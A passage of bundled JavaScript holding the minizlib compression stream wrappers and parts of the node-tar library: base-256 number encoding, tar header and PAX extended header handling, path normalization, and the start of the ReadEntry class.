      BROTLI_DECODER_ERROR_FORMAT_HUFFMAN_SPACE: -7,
      BROTLI_DECODER_ERROR_FORMAT_CONTEXT_MAP_REPEAT: -8,
      BROTLI_DECODER_ERROR_FORMAT_BLOCK_LENGTH_1: -9,
      BROTLI_DECODER_ERROR_FORMAT_BLOCK_LENGTH_2: -10,
      BROTLI_DECODER_ERROR_FORMAT_TRANSFORM: -11,
      BROTLI_DECODER_ERROR_FORMAT_DICTIONARY: -12,
      BROTLI_DECODER_ERROR_FORMAT_WINDOW_BITS: -13,
      BROTLI_DECODER_ERROR_FORMAT_PADDING_1: -14,
      BROTLI_DECODER_ERROR_FORMAT_PADDING_2: -15,
      BROTLI_DECODER_ERROR_FORMAT_DISTANCE: -16,
      BROTLI_DECODER_ERROR_DICTIONARY_NOT_SET: -19,
      BROTLI_DECODER_ERROR_INVALID_ARGUMENTS: -20,
      BROTLI_DECODER_ERROR_ALLOC_CONTEXT_MODES: -21,
      BROTLI_DECODER_ERROR_ALLOC_TREE_GROUPS: -22,
      BROTLI_DECODER_ERROR_ALLOC_CONTEXT_MAP: -25,
      BROTLI_DECODER_ERROR_ALLOC_RING_BUFFER_1: -26,
      BROTLI_DECODER_ERROR_ALLOC_RING_BUFFER_2: -27,
      BROTLI_DECODER_ERROR_ALLOC_BLOCK_TYPE_TREES: -30,
      BROTLI_DECODER_ERROR_UNREACHABLE: -31
    }, realZlibConstants));
  }
});

// node_modules/minizlib/dist/esm/index.js
var import_assert2, import_buffer, realZlib2, OriginalBufferConcat, desc, noop, passthroughBufferConcat, _superWrite, ZlibError, _flushFlag, ZlibBase, Zlib, Gzip, Unzip, Brotli, BrotliCompress, BrotliDecompress, Zstd, ZstdCompress, ZstdDecompress;
var init_esm3 = __esm({
  &quot;node_modules/minizlib/dist/esm/index.js&quot;() {
    import_assert2 = __toESM(require(&quot;assert&quot;), 1);
    import_buffer = require(&quot;buffer&quot;);
    init_esm();
    realZlib2 = __toESM(require(&quot;zlib&quot;), 1);
    init_constants();
    init_constants();
    OriginalBufferConcat = import_buffer.Buffer.concat;
    desc = Object.getOwnPropertyDescriptor(import_buffer.Buffer, &quot;concat&quot;);
    noop = (args) =&gt; args;
    passthroughBufferConcat = desc?.writable === true || desc?.set !== void 0 ? (makeNoOp) =&gt; {
      import_buffer.Buffer.concat = makeNoOp ? noop : OriginalBufferConcat;
    } : (_) =&gt; {
    };
    _superWrite = /* @__PURE__ */ Symbol(&quot;_superWrite&quot;);
    ZlibError = class extends Error {
      code;
      errno;
      constructor(err, origin) {
        super(&quot;zlib: &quot; + err.message, { cause: err });
        this.code = err.code;
        this.errno = err.errno;
        if (!this.code)
          this.code = &quot;ZLIB_ERROR&quot;;
        this.message = &quot;zlib: &quot; + err.message;
        Error.captureStackTrace(this, origin ?? this.constructor);
      }
      get name() {
        return &quot;ZlibError&quot;;
      }
    };
    _flushFlag = /* @__PURE__ */ Symbol(&quot;flushFlag&quot;);
    ZlibBase = class extends Minipass {
      #sawError = false;
      #ended = false;
      #flushFlag;
      #finishFlushFlag;
      #fullFlushFlag;
      #handle;
      #onError;
      get sawError() {
        return this.#sawError;
      }
      get handle() {
        return this.#handle;
      }
      /* c8 ignore start */
      get flushFlag() {
        return this.#flushFlag;
      }
      /* c8 ignore stop */
      constructor(opts, mode) {
        if (!opts || typeof opts !== &quot;object&quot;)
          throw new TypeError(&quot;invalid options for ZlibBase constructor&quot;);
        super(opts);
        this.#flushFlag = opts.flush ?? 0;
        this.#finishFlushFlag = opts.finishFlush ?? 0;
        this.#fullFlushFlag = opts.fullFlushFlag ?? 0;
        if (typeof realZlib2[mode] !== &quot;function&quot;) {
          throw new TypeError(&quot;Compression method not supported: &quot; + mode);
        }
        try {
          this.#handle = new realZlib2[mode](opts);
        } catch (er) {
          throw new ZlibError(er, this.constructor);
        }
        this.#onError = (err) =&gt; {
          if (this.#sawError)
            return;
          this.#sawError = true;
          this.close();
          this.emit(&quot;error&quot;, err);
        };
        this.#handle?.on(&quot;error&quot;, (er) =&gt; this.#onError(new ZlibError(er)));
        this.once(&quot;end&quot;, () =&gt; this.close);
      }
      close() {
        if (this.#handle) {
          this.#handle.close();
          this.#handle = void 0;
          this.emit(&quot;close&quot;);
        }
      }
      reset() {
        if (!this.#sawError) {
          (0, import_assert2.default)(this.#handle, &quot;zlib binding closed&quot;);
          return this.#handle.reset?.();
        }
      }
      flush(flushFlag) {
        if (this.ended)
          return;
        if (typeof flushFlag !== &quot;number&quot;)
          flushFlag = this.#fullFlushFlag;
        this.write(Object.assign(import_buffer.Buffer.alloc(0), { [_flushFlag]: flushFlag }));
      }
      end(chunk, encoding, cb) {
        if (typeof chunk === &quot;function&quot;) {
          cb = chunk;
          encoding = void 0;
          chunk = void 0;
        }
        if (typeof encoding === &quot;function&quot;) {
          cb = encoding;
          encoding = void 0;
        }
        if (chunk) {
          if (encoding)
            this.write(chunk, encoding);
          else
            this.write(chunk);
        }
        this.flush(this.#finishFlushFlag);
        this.#ended = true;
        return super.end(cb);
      }
      get ended() {
        return this.#ended;
      }
      // overridden in the gzip classes to do portable writes
      [_superWrite](data) {
        return super.write(data);
      }
      write(chunk, encoding, cb) {
        if (typeof encoding === &quot;function&quot;)
          cb = encoding, encoding = &quot;utf8&quot;;
        if (typeof chunk === &quot;string&quot;)
          chunk = import_buffer.Buffer.from(chunk, encoding);
        if (this.#sawError)
          return;
        (0, import_assert2.default)(this.#handle, &quot;zlib binding closed&quot;);
        const nativeHandle = this.#handle._handle;
        const originalNativeClose = nativeHandle.close;
        nativeHandle.close = () =&gt; {
        };
        const originalClose = this.#handle.close;
        this.#handle.close = () =&gt; {
        };
        passthroughBufferConcat(true);
        let result = void 0;
        try {
          const flushFlag = typeof chunk[_flushFlag] === &quot;number&quot; ? chunk[_flushFlag] : this.#flushFlag;
          result = this.#handle._processChunk(chunk, flushFlag);
          passthroughBufferConcat(false);
        } catch (err) {
          passthroughBufferConcat(false);
          this.#onError(new ZlibError(err, this.write));
        } finally {
          if (this.#handle) {
            ;
            this.#handle._handle = nativeHandle;
            nativeHandle.close = originalNativeClose;
            this.#handle.close = originalClose;
            this.#handle.removeAllListeners(&quot;error&quot;);
          }
        }
        if (this.#handle)
          this.#handle.on(&quot;error&quot;, (er) =&gt; this.#onError(new ZlibError(er, this.write)));
        let writeReturn;
        if (result) {
          if (Array.isArray(result) &amp;&amp; result.length &gt; 0) {
            const r = result[0];
            writeReturn = this[_superWrite](import_buffer.Buffer.from(r));
            for (let i = 1; i &lt; result.length; i++) {
              writeReturn = this[_superWrite](result[i]);
            }
          } else {
            writeReturn = this[_superWrite](import_buffer.Buffer.from(result));
          }
        }
        if (cb)
          cb();
        return writeReturn;
      }
    };
    Zlib = class extends ZlibBase {
      #level;
      #strategy;
      constructor(opts, mode) {
        opts = opts || {};
        opts.flush = opts.flush || constants.Z_NO_FLUSH;
        opts.finishFlush = opts.finishFlush || constants.Z_FINISH;
        opts.fullFlushFlag = constants.Z_FULL_FLUSH;
        super(opts, mode);
        this.#level = opts.level;
        this.#strategy = opts.strategy;
      }
      params(level, strategy) {
        if (this.sawError)
          return;
        if (!this.handle)
          throw new Error(&quot;cannot switch params when binding is closed&quot;);
        if (!this.handle.params)
          throw new Error(&quot;not supported in this implementation&quot;);
        if (this.#level !== level || this.#strategy !== strategy) {
          this.flush(constants.Z_SYNC_FLUSH);
          (0, import_assert2.default)(this.handle, &quot;zlib binding closed&quot;);
          const origFlush = this.handle.flush;
          this.handle.flush = (flushFlag, cb) =&gt; {
            if (typeof flushFlag === &quot;function&quot;) {
              cb = flushFlag;
              flushFlag = this.flushFlag;
            }
            this.flush(flushFlag);
            cb?.();
          };
          try {
            ;
            this.handle.params(level, strategy);
          } finally {
            this.handle.flush = origFlush;
          }
          if (this.handle) {
            this.#level = level;
            this.#strategy = strategy;
          }
        }
      }
    };
    Gzip = class extends Zlib {
      #portable;
      constructor(opts) {
        super(opts, &quot;Gzip&quot;);
        this.#portable = opts &amp;&amp; !!opts.portable;
      }
      [_superWrite](data) {
        if (!this.#portable)
          return super[_superWrite](data);
        this.#portable = false;
        data[9] = 255;
        return super[_superWrite](data);
      }
    };
    Unzip = class extends Zlib {
      constructor(opts) {
        super(opts, &quot;Unzip&quot;);
      }
    };
    Brotli = class extends ZlibBase {
      constructor(opts, mode) {
        opts = opts || {};
        opts.flush = opts.flush || constants.BROTLI_OPERATION_PROCESS;
        opts.finishFlush = opts.finishFlush || constants.BROTLI_OPERATION_FINISH;
        opts.fullFlushFlag = constants.BROTLI_OPERATION_FLUSH;
        super(opts, mode);
      }
    };
    BrotliCompress = class extends Brotli {
      constructor(opts) {
        super(opts, &quot;BrotliCompress&quot;);
      }
    };
    BrotliDecompress = class extends Brotli {
      constructor(opts) {
        super(opts, &quot;BrotliDecompress&quot;);
      }
    };
    Zstd = class extends ZlibBase {
      constructor(opts, mode) {
        opts = opts || {};
        opts.flush = opts.flush || constants.ZSTD_e_continue;
        opts.finishFlush = opts.finishFlush || constants.ZSTD_e_end;
        opts.fullFlushFlag = constants.ZSTD_e_flush;
        super(opts, mode);
      }
    };
    ZstdCompress = class extends Zstd {
      constructor(opts) {
        super(opts, &quot;ZstdCompress&quot;);
      }
    };
    ZstdDecompress = class extends Zstd {
      constructor(opts) {
        super(opts, &quot;ZstdDecompress&quot;);
      }
    };
  }
});

// node_modules/tar/dist/esm/large-numbers.js
var encode, encodePositive, encodeNegative, parse, twos, pos, onesComp, twosComp;
var init_large_numbers = __esm({
  &quot;node_modules/tar/dist/esm/large-numbers.js&quot;() {
    encode = (num, buf) =&gt; {
      if (!Number.isSafeInteger(num)) {
        throw Error(&quot;cannot encode number outside of javascript safe integer range&quot;);
      } else if (num &lt; 0) {
        encodeNegative(num, buf);
      } else {
        encodePositive(num, buf);
      }
      return buf;
    };
    encodePositive = (num, buf) =&gt; {
      buf[0] = 128;
      for (var i = buf.length; i &gt; 1; i--) {
        buf[i - 1] = num &amp; 255;
        num = Math.floor(num / 256);
      }
    };
    encodeNegative = (num, buf) =&gt; {
      buf[0] = 255;
      var flipped = false;
      num = num * -1;
      for (var i = buf.length; i &gt; 1; i--) {
        var byte = num &amp; 255;
        num = Math.floor(num / 256);
        if (flipped) {
          buf[i - 1] = onesComp(byte);
        } else if (byte === 0) {
          buf[i - 1] = 0;
        } else {
          flipped = true;
          buf[i - 1] = twosComp(byte);
        }
      }
    };
    parse = (buf) =&gt; {
      const pre = buf[0];
      const value = pre === 128 ? pos(buf.subarray(1, buf.length)) : pre === 255 ? twos(buf) : null;
      if (value === null) {
        throw Error(&quot;invalid base256 encoding&quot;);
      }
      if (!Number.isSafeInteger(value)) {
        throw Error(&quot;parsed number outside of javascript safe integer range&quot;);
      }
      return value;
    };
    twos = (buf) =&gt; {
      var len = buf.length;
      var sum = 0;
      var flipped = false;
      for (var i = len - 1; i &gt; -1; i--) {
        var byte = Number(buf[i]);
        var f;
        if (flipped) {
          f = onesComp(byte);
        } else if (byte === 0) {
          f = byte;
        } else {
          flipped = true;
          f = twosComp(byte);
        }
        if (f !== 0) {
          sum -= f * Math.pow(256, len - i - 1);
        }
      }
      return sum;
    };
    pos = (buf) =&gt; {
      var len = buf.length;
      var sum = 0;
      for (var i = len - 1; i &gt; -1; i--) {
        var byte = Number(buf[i]);
        if (byte !== 0) {
          sum += byte * Math.pow(256, len - i - 1);
        }
      }
      return sum;
    };
    onesComp = (byte) =&gt; (255 ^ byte) &amp; 255;
    twosComp = (byte) =&gt; (255 ^ byte) + 1 &amp; 255;
  }
});

// node_modules/tar/dist/esm/types.js
var isCode, normalFsTypes, name, code;
var init_types = __esm({
  &quot;node_modules/tar/dist/esm/types.js&quot;() {
    isCode = (c) =&gt; name.has(c);
    normalFsTypes = /* @__PURE__ */ new Set([
      &quot;0&quot;,
      &quot;&quot;,
      &quot;1&quot;,
      &quot;2&quot;,
      &quot;3&quot;,
      &quot;4&quot;,
      &quot;5&quot;,
      &quot;6&quot;,
      &quot;7&quot;,
      &quot;D&quot;
    ]);
    name = /* @__PURE__ */ new Map([
      [&quot;0&quot;, &quot;File&quot;],
      // same as File
      [&quot;&quot;, &quot;OldFile&quot;],
      [&quot;1&quot;, &quot;Link&quot;],
      [&quot;2&quot;, &quot;SymbolicLink&quot;],
      // Devices and FIFOs aren&#039;t fully supported
      // they are parsed, but skipped when unpacking
      [&quot;3&quot;, &quot;CharacterDevice&quot;],
      [&quot;4&quot;, &quot;BlockDevice&quot;],
      [&quot;5&quot;, &quot;Directory&quot;],
      [&quot;6&quot;, &quot;FIFO&quot;],
      // same as File
      [&quot;7&quot;, &quot;ContiguousFile&quot;],
      // pax headers
      [&quot;g&quot;, &quot;GlobalExtendedHeader&quot;],
      [&quot;x&quot;, &quot;ExtendedHeader&quot;],
      // vendor-specific stuff
      // skip
      [&quot;A&quot;, &quot;SolarisACL&quot;],
      // like 5, but with data, which should be skipped
      [&quot;D&quot;, &quot;GNUDumpDir&quot;],
      // metadata only, skip
      [&quot;I&quot;, &quot;Inode&quot;],
      // data = link path of next file
      [&quot;K&quot;, &quot;NextFileHasLongLinkpath&quot;],
      // data = path of next file
      [&quot;L&quot;, &quot;NextFileHasLongPath&quot;],
      // skip
      [&quot;M&quot;, &quot;ContinuationFile&quot;],
      // like L
      [&quot;N&quot;, &quot;OldGnuLongPath&quot;],
      // skip
      [&quot;S&quot;, &quot;SparseFile&quot;],
      // skip
      [&quot;V&quot;, &quot;TapeVolumeHeader&quot;],
      // like x
      [&quot;X&quot;, &quot;OldExtendedHeader&quot;]
    ]);
    code = new Map(Array.from(name).map((kv) =&gt; [kv[1], kv[0]]));
  }
});

// node_modules/tar/dist/esm/header.js
var import_node_path, notNegative, Header, splitPrefix, decString, decDate, numToDate, decNumber, nanUndef, decSmallNumber, MAXNUM, encNumber, encSmallNumber, octalString, padOctal, encDate, NULLS, encString;
var init_header = __esm({
  &quot;node_modules/tar/dist/esm/header.js&quot;() {
    import_node_path = require(&quot;node:path&quot;);
    init_large_numbers();
    init_types();
    notNegative = (n) =&gt; n === void 0 || n &lt; 0 ? void 0 : n;
    Header = class {
      cksumValid = false;
      needPax = false;
      nullBlock = false;
      block;
      path;
      mode;
      uid;
      gid;
      size;
      cksum;
      #type = &quot;Unsupported&quot;;
      linkpath;
      uname;
      gname;
      devmaj = 0;
      devmin = 0;
      atime;
      ctime;
      mtime;
      charset;
      comment;
      constructor(data, off = 0, ex, gex) {
        if (Buffer.isBuffer(data)) {
          this.decode(data, off || 0, ex, gex);
        } else if (data) {
          this.#slurp(data);
        }
      }
      decode(buf, off, ex, gex) {
        if (!off) {
          off = 0;
        }
        if (!buf || !(buf.length &gt;= off + 512)) {
          throw new Error(&quot;need 512 bytes for header&quot;);
        }
        const t = decString(buf, off + 156, 1);
        const isNormalFS = normalFsTypes.has(t);
        const exForFields = isNormalFS ? ex : void 0;
        const gexForFields = isNormalFS ? gex : void 0;
        this.path = exForFields?.path ?? decString(buf, off, 100);
        this.mode = exForFields?.mode ?? gexForFields?.mode ?? decNumber(buf, off + 100, 8);
        this.uid = exForFields?.uid ?? gexForFields?.uid ?? decNumber(buf, off + 108, 8);
        this.gid = exForFields?.gid ?? gexForFields?.gid ?? decNumber(buf, off + 116, 8);
        this.size = notNegative(exForFields?.size ?? gexForFields?.size ?? decNumber(buf, off + 124, 12));
        this.mtime = exForFields?.mtime ?? gexForFields?.mtime ?? decDate(buf, off + 136, 12);
        this.cksum = decNumber(buf, off + 148, 12);
        if (gexForFields)
          this.#slurp(gexForFields, true);
        if (exForFields)
          this.#slurp(exForFields);
        if (isCode(t)) {
          this.#type = t || &quot;0&quot;;
        }
        if (this.#type === &quot;0&quot; &amp;&amp; this.path.slice(-1) === &quot;/&quot;) {
          this.#type = &quot;5&quot;;
        }
        if (this.#type === &quot;5&quot;) {
          this.size = 0;
        }
        this.linkpath = decString(buf, off + 157, 100);
        if (buf.subarray(off + 257, off + 265).toString() === &quot;ustar\x0000&quot;) {
          this.uname = exForFields?.uname ?? gexForFields?.uname ?? decString(buf, off + 265, 32);
          this.gname = exForFields?.gname ?? gexForFields?.gname ?? decString(buf, off + 297, 32);
          this.devmaj = exForFields?.devmaj ?? gexForFields?.devmaj ?? decNumber(buf, off + 329, 8) ?? 0;
          this.devmin = exForFields?.devmin ?? gexForFields?.devmin ?? decNumber(buf, off + 337, 8) ?? 0;
          if (buf[off + 475] !== 0) {
            const prefix = decString(buf, off + 345, 155);
            this.path = prefix + &quot;/&quot; + this.path;
          } else {
            const prefix = decString(buf, off + 345, 130);
            if (prefix) {
              this.path = prefix + &quot;/&quot; + this.path;
            }
            this.atime = ex?.atime ?? gex?.atime ?? decDate(buf, off + 476, 12);
            this.ctime = ex?.ctime ?? gex?.ctime ?? decDate(buf, off + 488, 12);
          }
        }
        let sum = 8 * 32;
        for (let i = off; i &lt; off + 148; i++) {
          sum += buf[i];
        }
        for (let i = off + 156; i &lt; off + 512; i++) {
          sum += buf[i];
        }
        this.cksumValid = sum === this.cksum;
        if (this.cksum === void 0 &amp;&amp; sum === 8 * 32) {
          this.nullBlock = true;
        }
      }
      #slurp(ex, gex = false) {
        Object.assign(this, Object.fromEntries(Object.entries(ex).filter(([k, v]) =&gt; {
          return !(v === null || v === void 0 || k === &quot;size&quot; &amp;&amp; Number(v) &lt; 0 || k === &quot;path&quot; &amp;&amp; gex || k === &quot;linkpath&quot; &amp;&amp; gex || k === &quot;global&quot;);
        })));
      }
      encode(buf, off = 0) {
        if (!buf) {
          buf = this.block = Buffer.alloc(512);
        }
        if (this.#type === &quot;Unsupported&quot;) {
          this.#type = &quot;0&quot;;
        }
        if (!(buf.length &gt;= off + 512)) {
          throw new Error(&quot;need 512 bytes for header&quot;);
        }
        const prefixSize = this.ctime || this.atime ? 130 : 155;
        const split = splitPrefix(this.path || &quot;&quot;, prefixSize);
        const path16 = split[0];
        const prefix = split[1];
        this.needPax = !!split[2];
        this.needPax = encString(buf, off, 100, path16) || this.needPax;
        this.needPax = encNumber(buf, off + 100, 8, this.mode) || this.needPax;
        this.needPax = encNumber(buf, off + 108, 8, this.uid) || this.needPax;
        this.needPax = encNumber(buf, off + 116, 8, this.gid) || this.needPax;
        this.needPax = encNumber(buf, off + 124, 12, this.size) || this.needPax;
        this.needPax = encDate(buf, off + 136, 12, this.mtime) || this.needPax;
        buf[off + 156] = Number(this.#type.codePointAt(0));
        this.needPax = encString(buf, off + 157, 100, this.linkpath) || this.needPax;
        buf.write(&quot;ustar\x0000&quot;, off + 257, 8);
        this.needPax = encString(buf, off + 265, 32, this.uname) || this.needPax;
        this.needPax = encString(buf, off + 297, 32, this.gname) || this.needPax;
        this.needPax = encNumber(buf, off + 329, 8, this.devmaj) || this.needPax;
        this.needPax = encNumber(buf, off + 337, 8, this.devmin) || this.needPax;
        this.needPax = encString(buf, off + 345, prefixSize, prefix) || this.needPax;
        if (buf[off + 475] !== 0) {
          this.needPax = encString(buf, off + 345, 155, prefix) || this.needPax;
        } else {
          this.needPax = encString(buf, off + 345, 130, prefix) || this.needPax;
          this.needPax = encDate(buf, off + 476, 12, this.atime) || this.needPax;
          this.needPax = encDate(buf, off + 488, 12, this.ctime) || this.needPax;
        }
        let sum = 8 * 32;
        for (let i = off; i &lt; off + 148; i++) {
          sum += buf[i];
        }
        for (let i = off + 156; i &lt; off + 512; i++) {
          sum += buf[i];
        }
        this.cksum = sum;
        encNumber(buf, off + 148, 8, this.cksum);
        this.cksumValid = true;
        return this.needPax;
      }
      get type() {
        return this.#type === &quot;Unsupported&quot; ? this.#type : name.get(this.#type);
      }
      get typeKey() {
        return this.#type;
      }
      set type(type) {
        const c = String(code.get(type));
        if (isCode(c) || c === &quot;Unsupported&quot;) {
          this.#type = c;
        } else if (isCode(type)) {
          this.#type = type;
        } else {
          throw new TypeError(&quot;invalid entry type: &quot; + type);
        }
      }
    };
    splitPrefix = (p, prefixSize) =&gt; {
      const pathSize = 100;
      let pp = p;
      let prefix = &quot;&quot;;
      let ret = void 0;
      const root = import_node_path.posix.parse(p).root || &quot;.&quot;;
      if (Buffer.byteLength(pp) &lt; pathSize) {
        ret = [pp, prefix, false];
      } else {
        prefix = import_node_path.posix.dirname(pp);
        pp = import_node_path.posix.basename(pp);
        do {
          if (Buffer.byteLength(pp) &lt;= pathSize &amp;&amp; Buffer.byteLength(prefix) &lt;= prefixSize) {
            ret = [pp, prefix, false];
          } else if (Buffer.byteLength(pp) &gt; pathSize &amp;&amp; Buffer.byteLength(prefix) &lt;= prefixSize) {
            ret = [pp.slice(0, pathSize - 1), prefix, true];
          } else {
            pp = import_node_path.posix.join(import_node_path.posix.basename(prefix), pp);
            prefix = import_node_path.posix.dirname(prefix);
          }
        } while (prefix !== root &amp;&amp; ret === void 0);
        if (!ret) {
          ret = [p.slice(0, pathSize - 1), &quot;&quot;, true];
        }
      }
      return ret;
    };
    decString = (buf, off, size) =&gt; buf.subarray(off, off + size).toString(&quot;utf8&quot;).replace(/\0.*/, &quot;&quot;);
    decDate = (buf, off, size) =&gt; numToDate(decNumber(buf, off, size));
    numToDate = (num) =&gt; num === void 0 ? void 0 : new Date(num * 1e3);
    decNumber = (buf, off, size) =&gt; Number(buf[off]) &amp; 128 ? parse(buf.subarray(off, off + size)) : decSmallNumber(buf, off, size);
    nanUndef = (value) =&gt; isNaN(value) ? void 0 : value;
    decSmallNumber = (buf, off, size) =&gt; nanUndef(parseInt(buf.subarray(off, off + size).toString(&quot;utf8&quot;).replace(/\0.*$/, &quot;&quot;).trim(), 8));
    MAXNUM = {
      12: 8589934591,
      8: 2097151
    };
    encNumber = (buf, off, size, num) =&gt; num === void 0 ? false : num &gt; MAXNUM[size] || num &lt; 0 ? (encode(num, buf.subarray(off, off + size)), true) : (encSmallNumber(buf, off, size, num), false);
    encSmallNumber = (buf, off, size, num) =&gt; buf.write(octalString(num, size), off, size, &quot;ascii&quot;);
    octalString = (num, size) =&gt; padOctal(Math.floor(num).toString(8), size);
    padOctal = (str, size) =&gt; (str.length === size - 1 ? str : new Array(size - str.length - 1).join(&quot;0&quot;) + str + &quot; &quot;) + &quot;\0&quot;;
    encDate = (buf, off, size, date) =&gt; date === void 0 ? false : encNumber(buf, off, size, date.getTime() / 1e3);
    NULLS = new Array(156).join(&quot;\0&quot;);
    encString = (buf, off, size, str) =&gt; str === void 0 ? false : (buf.write(str + NULLS, off, size, &quot;utf8&quot;), str.length !== Buffer.byteLength(str) || str.length &gt; size);
  }
});

// node_modules/tar/dist/esm/pax.js
var import_node_path2, Pax, merge, parseKV, parseKVLine;
var init_pax = __esm({
  &quot;node_modules/tar/dist/esm/pax.js&quot;() {
    import_node_path2 = require(&quot;node:path&quot;);
    init_header();
    Pax = class _Pax {
      atime;
      mtime;
      ctime;
      charset;
      comment;
      gid;
      uid;
      gname;
      uname;
      linkpath;
      dev;
      ino;
      nlink;
      path;
      size;
      mode;
      global;
      constructor(obj, global2 = false) {
        this.atime = obj.atime;
        this.charset = obj.charset;
        this.comment = obj.comment;
        this.ctime = obj.ctime;
        this.dev = obj.dev;
        this.gid = obj.gid;
        this.global = global2;
        this.gname = obj.gname;
        this.ino = obj.ino;
        this.linkpath = obj.linkpath;
        this.mtime = obj.mtime;
        this.nlink = obj.nlink;
        this.path = obj.path;
        this.size = obj.size;
        this.uid = obj.uid;
        this.uname = obj.uname;
      }
      encode() {
        const body = this.encodeBody();
        if (body === &quot;&quot;) {
          return Buffer.allocUnsafe(0);
        }
        const bodyLen = Buffer.byteLength(body);
        const bufLen = 512 * Math.ceil(1 + bodyLen / 512);
        const buf = Buffer.allocUnsafe(bufLen);
        for (let i = 0; i &lt; 512; i++) {
          buf[i] = 0;
        }
        new Header({
          // XXX split the path
          // then the path should be PaxHeader + basename, but less than 99,
          // prepend with the dirname
          /* c8 ignore start */
          path: (&quot;PaxHeader/&quot; + (0, import_node_path2.basename)(this.path ?? &quot;&quot;)).slice(0, 99),
          /* c8 ignore stop */
          mode: this.mode || 420,
          uid: this.uid,
          gid: this.gid,
          size: bodyLen,
          mtime: this.mtime,
          type: this.global ? &quot;GlobalExtendedHeader&quot; : &quot;ExtendedHeader&quot;,
          linkpath: &quot;&quot;,
          uname: this.uname || &quot;&quot;,
          gname: this.gname || &quot;&quot;,
          devmaj: 0,
          devmin: 0,
          atime: this.atime,
          ctime: this.ctime
        }).encode(buf);
        buf.write(body, 512, bodyLen, &quot;utf8&quot;);
        for (let i = bodyLen + 512; i &lt; buf.length; i++) {
          buf[i] = 0;
        }
        return buf;
      }
      encodeBody() {
        return this.encodeField(&quot;path&quot;) + this.encodeField(&quot;ctime&quot;) + this.encodeField(&quot;atime&quot;) + this.encodeField(&quot;dev&quot;) + this.encodeField(&quot;ino&quot;) + this.encodeField(&quot;nlink&quot;) + this.encodeField(&quot;charset&quot;) + this.encodeField(&quot;comment&quot;) + this.encodeField(&quot;gid&quot;) + this.encodeField(&quot;gname&quot;) + this.encodeField(&quot;linkpath&quot;) + this.encodeField(&quot;mtime&quot;) + this.encodeField(&quot;size&quot;) + this.encodeField(&quot;uid&quot;) + this.encodeField(&quot;uname&quot;);
      }
      encodeField(field) {
        if (this[field] === void 0) {
          return &quot;&quot;;
        }
        const r = this[field];
        const v = r instanceof Date ? r.getTime() / 1e3 : r;
        const s = &quot; &quot; + (field === &quot;dev&quot; || field === &quot;ino&quot; || field === &quot;nlink&quot; ? &quot;SCHILY.&quot; : &quot;&quot;) + field + &quot;=&quot; + v + &quot;\n&quot;;
        const byteLen = Buffer.byteLength(s);
        let digits = Math.floor(Math.log(byteLen) / Math.log(10)) + 1;
        if (byteLen + digits &gt;= Math.pow(10, digits)) {
          digits += 1;
        }
        const len = digits + byteLen;
        return len + s;
      }
      static parse(str, ex, g = false) {
        return new _Pax(merge(parseKV(str), ex), g);
      }
    };
    merge = (a, b) =&gt; b ? Object.assign({}, b, a) : a;
    parseKV = (str) =&gt; str.replace(/\n$/, &quot;&quot;).split(&quot;\n&quot;).reduce(parseKVLine, /* @__PURE__ */ Object.create(null));
    parseKVLine = (set, line) =&gt; {
      const n = parseInt(line, 10);
      if (n !== Buffer.byteLength(line) + 1) {
        return set;
      }
      line = line.slice((n + &quot; &quot;).length);
      const kv = line.split(&quot;=&quot;);
      const r = kv.shift();
      if (!r) {
        return set;
      }
      const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, &quot;$1&quot;);
      const v = kv.join(&quot;=&quot;).replace(/\0.*/, &quot;&quot;);
      switch (k) {
        case &quot;path&quot;:
        case &quot;linkpath&quot;:
        case &quot;type&quot;:
        case &quot;charset&quot;:
        case &quot;comment&quot;:
        case &quot;gname&quot;:
        case &quot;uname&quot;:
          set[k] = v;
          break;
        case &quot;ctime&quot;:
        case &quot;atime&quot;:
        case &quot;mtime&quot;:
          set[k] = new Date(Number(v) * 1e3);
          break;
        case &quot;size&quot;:
          const s = +v;
          if (s &gt;= 0)
            set[k] = s;
          break;
        case &quot;gid&quot;:
        case &quot;uid&quot;:
        case &quot;dev&quot;:
        case &quot;ino&quot;:
        case &quot;nlink&quot;:
        case &quot;mode&quot;:
          set[k] = +v;
          break;
      }
      return set;
    };
  }
});

// node_modules/tar/dist/esm/normalize-windows-path.js
var platform, normalizeWindowsPath;
var init_normalize_windows_path = __esm({
  &quot;node_modules/tar/dist/esm/normalize-windows-path.js&quot;() {
    platform = process.env.TESTING_TAR_FAKE_PLATFORM || process.platform;
    normalizeWindowsPath = platform !== &quot;win32&quot; ? (p) =&gt; String(p) : (p) =&gt; String(p).replaceAll(/\\/g, &quot;/&quot;);
  }
});

// node_modules/tar/dist/esm/read-entry.js
var ReadEntry;
var init_read_entry = __esm({
  &quot;node_modules/tar/dist/esm/read-entry.js&quot;() {
    init_esm();
    init_normalize_windows_path();
    ReadEntry = class extends Minipass {
      extended;
      globalExtended;
      header;
      startBlockSize;
      blockRemain;
      remain;
      type;
      meta = false;
      ignore = false;
      path;
      mode;
      uid;
      gid;
      uname;
      gname;
      size = 0;
      mtime;
      atime;
      ctime;
      linkpath;
      dev;
      ino;
      nlink;
      invalid = false;
      absolute;
      unsupported = false;
      constructor(header, ex, gex) {
        super({});
        this.pause();
        this.extended = ex;
        this.globalExtended = gex;
        this.header = header;
        this.remain = header.size ?? 0;
        this.startBlockSize = 512 * Math.ceil(this.remain / 512);
        this.blockRemain = this.startBlockSize;
        this.type = header.type;
        switch (this.type) {
          case &quot;File&quot;:
          case &quot;OldFile&quot;:
          case &quot;Link&quot;:
          case &quot;SymbolicLink&quot;:
          case &quot;CharacterDevice&quot;:
          case &quot;BlockDevice&quot;:
          case &quot;Directory&quot;:
          case &quot;FIFO&quot;:
          case &quot;ContiguousFile&quot;:
          case &quot;GNUDumpDir&quot;:
            break;
          case &quot;NextFileHasLongLinkpath&quot;:
          case &quot;NextFileHasLongPath&quot;:
          case &quot;OldGnuLongPath&quot;:
          case &quot;GlobalExtendedHeader&quot;:
          case &quot;ExtendedHeader&quot;:
          case &quot;OldExtendedHeader&quot;:
            this.meta = true;
            break;
          // NOTE: gnutar and bsdtar treat unrecognized types as &#039;File&#039;
          // it may be worth doing the same, but with a warning.
          default:
            this.ignore = true;
        }
        if (!header.path) {
          throw new Error(&quot;no path provided for tar.ReadEntry&quot;);
        }
        this.path = normalizeWindowsPath(header.path);
        this.mode = header.mode;
        if (this.mode) {
          this.mode = this.mode &amp; 4095;
        }
        this.uid = header.uid;
        this.gid = header.gid;
        this.uname = header.uname;
        this.gname = header.gname;
        this.size = this.remain;
        this.mtime = header.mtime;
        this.atime = header.atime;
        this.ctime = header.ctime;
        this.linkpath = header.linkpath ? normalizeWindowsPath(header.linkpath) : void 0;
        this.uname = header.uname;
        this.gname = header.gname;
        if (ex) {
